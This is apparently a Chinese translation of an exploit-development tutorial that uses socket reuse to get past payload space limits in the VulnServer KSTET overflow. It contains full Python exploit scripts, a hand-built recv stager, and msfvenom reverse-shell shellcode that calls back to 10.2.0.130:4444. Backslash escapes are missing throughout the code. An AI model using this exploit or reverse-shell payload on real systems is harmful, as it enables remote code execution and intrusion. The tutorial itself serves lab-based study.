利用Socket重用绕过payload受限

阅读量311887

|评论1

|

发布时间 : 2019-06-27 14:30:16

x
译文声明

本文是翻译文章,文章原作者 rastating,文章来源:rastating.github.io

原文地址:https://rastating.github.io/using-socket-reuse-to-exploit-vulnserver/

译文仅供参考,具体内容表达以及含义原文为准。

 

 

套接字重用攻击

在生成exp时,经常会遇空间受限的情况。针对这一问题有很多种解决方法,本文所介绍的套接字重用(Socket Reuse)就是其中一种。

 

什么是套接字重用

在我们进行实例分析之前,先简要介绍一下网络应用程序的工作原理。本文的读者很可能都知道这一原理,但为了保证文章的完整性,让我们先学习一下什么是套接字重用。

下图(由Dartmouth提供)展示了典型的基于client-server模型的应用程序中函数的调用序列:

如图所示,在服务器或客户端发起连接前,首先需要创建套接字。即一个可以实现监听功能(监听功能是指它能够监听新的连接并接受它们),或者连接功能(连接功能是指它能够连接到另一个在别处监听的套接字)的模块。

套接字代表了主机与主机之间的连接,如果你有访问它的权限,就可以自由的调用相应的send或recv函数,执行相应的网络操作。这是套接字重用攻击的最终目标。

识别套接字的位置后,可以使用recv函数监听更多的数据,并将其转储到一个可执行的内存区域中,然后利用该区域执行相关操作。这种方法适合于payload空间有限的情况。

读者可能会问:为什么不创建一个新的套接字?主要是因为套接字绑定到了一个端口后,无法在被占用的端口上创建新的套接字。而创建一个监听其他端口的套接字的话,监听的端口可能会被防火墙阻止,这样就无法保证连接的可靠性。

 

运行环境及工具

本文实验环境为Win10系统,工具为32位的x64dbg。(同样的操作也很可能适用于其他调试器)

 

创建初始Exploit

为满足读者对套接字工作原理学习的需求,下面将进行深入的研究。为了让读者有直观的认识,我们将使用由Stephen Bradshaw开发的VulnServer应用程序,程序获取路径:
https://github.com/stephenbradshaw/vulnserver
用下面的代码验证套接字重用的概念(忽略初始的溢出过程),先用x42x42x42x42覆盖EIP。代码如下:

import os
import socket
import sys

host = 'xxx.xxx.xxx.xxx'
port = xxxx

buffer =  'KSTET '
buffer += 'x41' * 70
buffer += 'x42' * 4
buffer += 'x43' * 500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.recv(1024)
s.send(buffer)

s.close()

在x64dbg中加载vulnserver.exe,并触发漏洞,我们能够看到,溢出后栈顶指针$esp指向EIP被覆盖后的区域。

我们总共发送了500个字节的数据,但是它被截断了,仅保留了20个字节。这么小的空间满足不了我们执行相应操作的需求,这是个大问题。但是,我们发现,在EIP覆盖之前有完整的70字节空间(用x41填充)可以被写入。只要可以执行溢出的20个字节块中的内容,就能跳转回70字节的部分。

由于栈顶指针$esp指向了溢出的区域(20字节),我们首先要找到一个包含jmp esp指令的可执行内存区域,且该指令不受ASLR(地址随机化)的影响,保证我们可以对exploit进行可靠的硬编码以返回到该地址。

在x64dbg中,我们可以在内存映射选项卡(Memory Map)查看程序调用的DLL,通过调用DLL来实现这一点。如下图所示,我们可以看到只有一个感兴趣的DLL:essfunc.dll

在内存映射选项卡中能够看到这个dll的基址(在本例中是0x62500000),我们就可以在日志选项卡(Log)中运行命令:imageinfo 62500000,在DLL的PE头中检索信息。可以看到DLL Characteristics标志设置为0,这意味着程序没有启用ASLR或DEP保护。

我们在DLL中找到了可进行可靠硬编码的地址之后,需要再找一个可以使用的跳转指令。为此,我们需要返回到内存映射选项卡,双击标记为“可执行”的内存部分(由Protection列下中E标志标识)。

我们双击.text部分,进入CPU选项卡。在这里,我们可以使用ctrl+f快捷键搜索指令,或者右键单击并选择搜索>当前区域>命令(Search for > Current Region > Command)。在出现的窗口中输入要搜索的表达式,在本例中是jmp esp,如图所示:

在上一个对话框中单击OK之后,我们现在将看到在essfunc.dll.text中的jmp esp实例,这里我们使用第一个(0x625011af)。

至此,我们得到了jmp esp指令的地址。我们可以用得到的地址替换之前溢出覆盖EIP的指令x42x42x42x42(注:由于使用了小端序,地址需要按相反的顺序进写入)。

代码如下:

import os
import socket
import sys

host = 'xxx.xxx.xxx'
port = xxxx

buffer =  'KSTET '
buffer += 'x41' * 70
buffer += 'xafx11x50x62'
buffer += 'x43' * 500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.recv(1024)
s.send(buffer)

s.close()

运行该exp之前,要在0x625011af处设置断点(即jmp esp指令处)。(可双击“引用”选项卡中的结果或使用ctrl+g快捷键打开“表达式”窗口并输入断点地址跳到相应的位置)在这里,使用“context”菜单或按F2键突出显示指令并设置断点。

再次运行exp,程序将停在断点处。跟进调用之后,程序停止在20字节0x43块处。

至此,我们可以进一步控制程序的执行。需要像前文中提到的那样,跳回到70字节块的开头。为此,我们可以用短跳指令来实现。x64dbg可以自动计算出地址的偏移量。

在“cpu”选项卡中向上翻找,可以看到包含70字节x41的区域。如图所示,我们可以看到在0x0110f980处有一个0x41,还有两个0x41紧接在前面(注意:此地址会有变化,请根据调试结果使用适合的地址)

可以得到这70个字节的区域的起始地址为:0x0110F980-2=0x0110F97E。回到$esp指针指向的位置双击指令(inc ebx)或在选中指令时按空格键,打开Assemble对话框,输入jmp 0x0110f97e,点击OK,它将自动计算跳转距离并创建一个跳转指令:EB B4

可以通过观察左侧的箭头或选中已编辑的指令并单击g键来生成图表视图来验证这一点。如果正确,程序应该转到x41块的起始位置。

现在,可以更新exp,将以上指令包含在x43块之前,并将70字节和20字节块中的其他字节替换为nop,以便稍后exp的使用更加顺利。更改后,exp如下所示:

import os
import socket
import sys

host = 'xxx.xxx.xxx'
port = xxxx

buffer =  'KSTET '
buffer += 'x90' * 70
buffer += 'xafx11x50x62'    # jmp esp
buffer += 'xebxb4'            # jmp 0x0110f97e
buffer += 'x90' * 500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.recv(1024)
s.send(buffer)

s.close()

再次执行exp,将发现程序将执行到70字节NOP指令的底部,最初被覆盖的EIP位置之前:

 

分析及Socket追踪

完成了枯燥的理论分析,我们将进入更有趣的部分!

应该注意的是,此时我重启了我正在使用的VM,导致基地址发生了改变。因为我们没有使用essfunc.dll之外的任何绝对地址,基地址的改变并不会影响exp的使用。指出这一点是希望引起所有人注意!

在汇总代码之前,我们首先需要弄清楚在哪里可以找到接收我们的发送的数据的套接字。这篇文章的前半部分提到,如果服务端接受连接申请并从客户端接收数据时,函数调用遵循socket()> listen()> accept()> recv()的模式。

考虑到这一点,我们应该重启应用程序,并让它在入口点(自动添加的第二个断点)处暂停,并搜索这些系统调用。由于Vulnserver应用程序非常简单,我们不必搜索很远。向下查看指令,就可以找到欢迎消息发送到客户端的位置(在客户端连接后发送)以及随后对用户发送的命令处理前的recv函数的调用:

如果我们现在在<jmp.&recv>指令上设置断点并继续执行,我们将能够查看传递给堆栈上的函数的参数。

没有参考依据,是看不出这些参数的实际意义的。值得庆幸的是,Microsoft提供了这些功能的详细文档,可以在https://docs.microsoft.com/en-us/windows/desktop/api/winsock/nf-winsock-recv得到recv函数的详解:

int recv(
  SOCKET s,
  char   *buf,
  int    len,
  int    flags
);

这使我们能够理解存放在堆栈上的参数。

第一个参数(在堆栈顶部)是套接字文件描述符,此处值为0x128。

第二个参数是缓冲区,即指向存储区域的指针,该区域将存储通过套接字接收的数据。此处,它将接收的数据存储在0x006a3408

第三个参数是额定的数据量。这里设置为0x1000个字节(4096字节)

最后一个参数是影响函数行为的标志。由于正在使用默认行为,将其设置为0

如果跳过对recv的调用,跳转到0x006a3408,我们可以看到exp发送的完整payload:

了解函数调用后,需要找到我们调用的recv函数的套接字描述符。由于此值在每次建立新连接时都会发生变化,因此无法进行硬编码,否则这个问题就太简单了。

在继续之前,需要双击调用指令并记下recv的地址,用于接下来的工作,如下图所示,recv函数的地址为0x0040252C:

继续执行程序,直到我们再次到达NOP指令块,会发现在程序调用recv函数(即0x0107f9c8)时,堆栈上文件描述符所在的位置已经被溢出数据覆盖了!

尽管缓冲区足以覆盖recv的参数,但文件描述符仍将存放在内存中。如果我们重新启动程序并再次在调用recv出暂停,我们就可以分析出如何找到文件描述符。

由于套接字是传递给recv的第一个参数,同时也是push到堆栈的最后一个参数,我们需要找到在调用recv之前,最后一个向栈内写数据的操作。很容易就能发现,在调用指令的正上方,有一个mov操作,它将存储在$eax中的值移动到$esp指向的地址(即栈顶)。

在该指令上方,是一个mov操作,它将$ebp-420(即栈基址下方的0x420字节的位置)中的值移动到$eax。此时,$ebp-420的值为0x011DFB50。继续执行程序,直到程序遇到在NOP块底的断点。在dump选项卡或堆栈视图中跟随此地址,我们可以看到该值仍然存在。

注意:套接字文件描述符是会变化的,现在是120而不是之前的128,在使用的时候需要动态检索它。

为了避免存储套接字的地址发生改变产生的影响,我们可以通过计算$esp到当前地址的距离,动态获取套接字存储的地址,而不用对任何地址进行硬编码。

为此,我们取当前套接字地址(0x011DFB50)减去$esp指向的地址(0x011DF9C8),得到偏移量为0x188,即可以在$esp+0x188的位置找到套接字。

 

编写Socket Stager

我们已经得到了编写stager所需的所有信息!接下来我们要做的第一件事就是抓住找到的套接字,并将其存储在寄存器中,以便我们可以快速访问它。为了构造stager,我们将利用x64dbg在70个字节的NOP块中编写指令。同时,我们需要跳过一些坑,避免引入空指令(NULL)。

首先,我们需要将$esp入栈并将其pop到寄存器中,这将为我们提供可以安全操作的指向栈顶的指针。为此,我们添加代码:

push  esp
pop   eax

接下来,我们需要将$eax寄存器增加0x188个字节。由于将此值直接加到$eax寄存器会引入空指令,我们可以将0x188加到$ax寄存器(如果这样还不行,尝试将寄存器分解为更小的寄存器)。

add   ax, 0x188

注意:以交互方式输入命令时,用上述方法输入值非常重要。如果你输入命令add ax,188,其中的十进制数将转换为十六进制。使用0x前缀能确保将其作为十六进制值处理。

由上一节可知,套接字距离$esp 0x188个字节。由于$eax与$esp指向相同的地址,如果我们用$eax加0x188,将得到一个指向存储套接字的地址的有效指针。单步执行程序,运行到0x011DFB50处时,$eax是个指向套接字(120)的指针。

接下来,在向栈内push数据之前,需要对栈指针稍作调整。 我们都知道,堆栈指针是从高地址向低地址生长的。由于我们覆盖的stager与栈顶指针$esp非常接近,push进栈的数据很可能覆盖掉stager,导致程序崩溃。为此,我们只需调整堆栈指针$esp,使其指向一个比我们的payload低的地址即可。在这里,100字节(0x64)的空间就足够了,因此下一条指令为:

sub esp, 0x64

执行此指令后,在堆栈窗口中可以看到$esp指向了位于当前正在编辑的stager之前的地址(红色突出显示):

调整了堆栈指针后,我们可以开始push所有数据了。首先,我们需要设置flags参数,将’0’push入栈。由于不能对空字节进行硬编码,可以利用异或寄存器获得’0’,然后将该寄存器入栈:

xor   ebx, ebx
push  ebx

下一个参数是缓冲区大小,一般情况下1024字节(0x400)的空间足够了。我们再一次遇到了空字节的问题。我们可以先清除寄存器,然后使用add指令来构造相应的值,而不是将这个值直接push到栈上。

由于前一个操作已经将ebx置0,我们可以向$bh添加0x4以使ebx寄存器等于0x00000400(同上,如果这样还不行,尝试将寄存器分解为更小的寄存器):

add   bh, 0x4
push  ebx

接下来,是push用来存储接收数据的地址。有两种方法可以获得该地址:

一是将一个地址入栈,在recv函数返回后,jmp到该地址后进行检索。

二是让recv直接在程序当前执行的位置之前转储接收的数据。

第二种方法绝对是最简单,最节省空间的。要做到这一点,需要确定$esp离与stager结束位置之间的距离。通过查看当前堆栈指针(0x011df95c)和stager最后4个字节的地址(0x011df9c0),我们可以确定距离是100字节(0x64)。可以在dump选项卡中输入表达式esp+0x64查看是否跳转到最后的4个NOP来验证这一点:

准确计算后,我们将$esp入栈并将其pop到寄存器,使用add指令进行适当的调整,最后将其push回栈中:

push  esp
pop   ebx
add   ebx, 0x64
push  ebx

完成堆栈上参数的写入还有最后一个操作,那就是将之前存储在$eax中的套接字push入栈。由于recv函数需要的是值而不是指针,因此要取消引用$eax中的指针,以保证存储$eax指向的是地址中的值(120)而不是地址本身。

push  dword ptr ds:[eax]

如果我们步进调试到最后的指令,我们将看到所有参数在栈中按我们预置的顺序排列:

至此,我们到了最后一步:调用recv。当然,没有什么是简单的,在这过程中我们遇到了另一个问题。前文中提到recv函数的地址是从一个空字节开始的。由于这个空字节是在地址的开头而不是在中间,所以我们可以利用移位指令轻松地解决这个问题。

我们将在$eax中存储0x40252c90(为避免出现空字符,我们将0x0040252c左移1个字节,并在末尾添加了0x90)。然后使用shr指令将值右移8位,移除最后一个字节(90),同时在40之前出现一个新的空字节,成功在$eax中写下值:0x0040252C供后续使用。

mov   eax, 0x40252C90
shr   eax, 8
call  eax

继续运行程序并在调用指令处暂停,我们可以看到$eax指向了recv函数:

至此,我们的stager构造完成!现在,您可以通过选择新添加的指令,并执行context菜单中的二进制复制来获取要添加到exp中的指令的十六进制值。

 

exploti实现

至此,我们完成了最终的stager代码的构造,可以将它放在exploit中的70字节NOP块的开头。同时为了不破坏溢出并能成功运行最终的payload,我们需要确保该块长度保持在70个字节。

此外,为确保发送最终payload之前stager已执行,在运行exploit时需要等待几秒钟。尽管我们发送的数据,不论是否是在缓冲调用recv之前发送的,都会被读取,但是我个人建议还是添加sleep()函数。

当前exploit如下所示:

import os
import socket
import sys
import time

host = 'xxx.xxx.xxx.xxx'
port = xxxx

stager =  'x54x58x66x05x88x01x83xec'
stager += 'x64x33xdbx53x80xc7x04x53'
stager += 'x54x5bx83xc3x64x53xffx30'
stager += 'xb8x90x2cx25x40xc1xe8x08'
stager += 'xffxd0'

buffer =  'KSTET '
buffer += stager
buffer += 'x90' * (70 - len(stager)) # nop sled to final payload
buffer += 'xafx11x50x62'          # jmp esp
buffer += 'xebxb4'                  # jmp 0x0110f97e
buffer += 'x90' * 500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.recv(1024)
s.send(buffer)

time.sleep(5)
s.send('x41' * 1024)

为了方便演示,我发送了1024个x41的payload,以验证exp是否按预期工作。我们重新启动vulnserver.exe并单步跳转到stager代码中recv调用处,可以看到程序接收到1024字节的0x41并放置了在随后将执行的位置(NOP指令的末尾):

 

加载payload

exploit已完成,我们可以使用msfvenom生成的payload替换1024字节的0x41尝试运行!

以下是使用msfvenom中的windows/shell_reverse_tcp模块的最终exploit:

import os
import socket
import sys
import time

host = 'xxx.xxx.xxx.xxx'
port = xxxx

# Payload generated with: msfvenom -p windows/shell_reverse_tcp LHOST=10.2.0.130 LPORT=4444 -f python -v payload
payload =  ""
payload += "xfcxe8x82x00x00x00x60x89xe5x31xc0x64"
payload += "x8bx50x30x8bx52x0cx8bx52x14x8bx72x28"
payload += "x0fxb7x4ax26x31xffxacx3cx61x7cx02x2c"
payload += "x20xc1xcfx0dx01xc7xe2xf2x52x57x8bx52"
payload += "x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
payload += "x51x8bx59x20x01xd3x8bx49x18xe3x3ax49"
payload += "x8bx34x8bx01xd6x31xffxacxc1xcfx0dx01"
payload += "xc7x38xe0x75xf6x03x7dxf8x3bx7dx24x75"
payload += "xe4x58x8bx58x24x01xd3x66x8bx0cx4bx8b"
payload += "x58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
payload += "x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5a"
payload += "x8bx12xebx8dx5dx68x33x32x00x00x68x77"
payload += "x73x32x5fx54x68x4cx77x26x07xffxd5xb8"
payload += "x90x01x00x00x29xc4x54x50x68x29x80x6b"
payload += "x00xffxd5x50x50x50x50x40x50x40x50x68"
payload += "xeax0fxdfxe0xffxd5x97x6ax05x68x0ax02"
payload += "x00x82x68x02x00x11x5cx89xe6x6ax10x56"
payload += "x57x68x99xa5x74x61xffxd5x85xc0x74x0c"
payload += "xffx4ex08x75xecx68xf0xb5xa2x56xffxd5"
payload += "x68x63x6dx64x00x89xe3x57x57x57x31xf6"
payload += "x6ax12x59x56xe2xfdx66xc7x44x24x3cx01"
payload += "x01x8dx44x24x10xc6x00x44x54x50x56x56"
payload += "x56x46x56x4ex56x56x53x56x68x79xccx3f"
payload += "x86xffxd5x89xe0x4ex56x46xffx30x68x08"
payload += "x87x1dx60xffxd5xbbxf0xb5xa2x56x68xa6"
payload += "x95xbdx9dxffxd5x3cx06x7cx0ax80xfbxe0"
payload += "x75x05xbbx47x13x72x6fx6ax00x53xffxd5"

stager =  'x54x58x66x05x88x01x83xec'
stager += 'x64x33xdbx53x80xc7x04x53'
stager += 'x54x5bx83xc3x64x53xffx30'
stager += 'xb8x90x2cx25x40xc1xe8x08'
stager += 'xffxd0'

buffer =  'KSTET '
buffer += stager
buffer += 'x90' * (70 - len(stager)) # nop sled to final payload
buffer += 'xafx11x50x62'          # jmp esp
buffer += 'xebxb4'                  # jmp 0x0110f97e
buffer += 'x90' * 500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

print '[*] Connected to target'

s.recv(1024)
s.send(buffer)

print '[*] Sent stager, waiting 5 seconds...'

time.sleep(5)

s.send(payload + 'x90' * (1024 - len(payload)))

print '[*] Sent payload'

s.close()
本文翻译自rastating.github.io 原文链接。如若转载请注明出处。
分享到:微信
+18赞
收藏
fbird666
分享到:微信

发表评论

Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全KER All Rights Reserved 京ICP备08010314号-66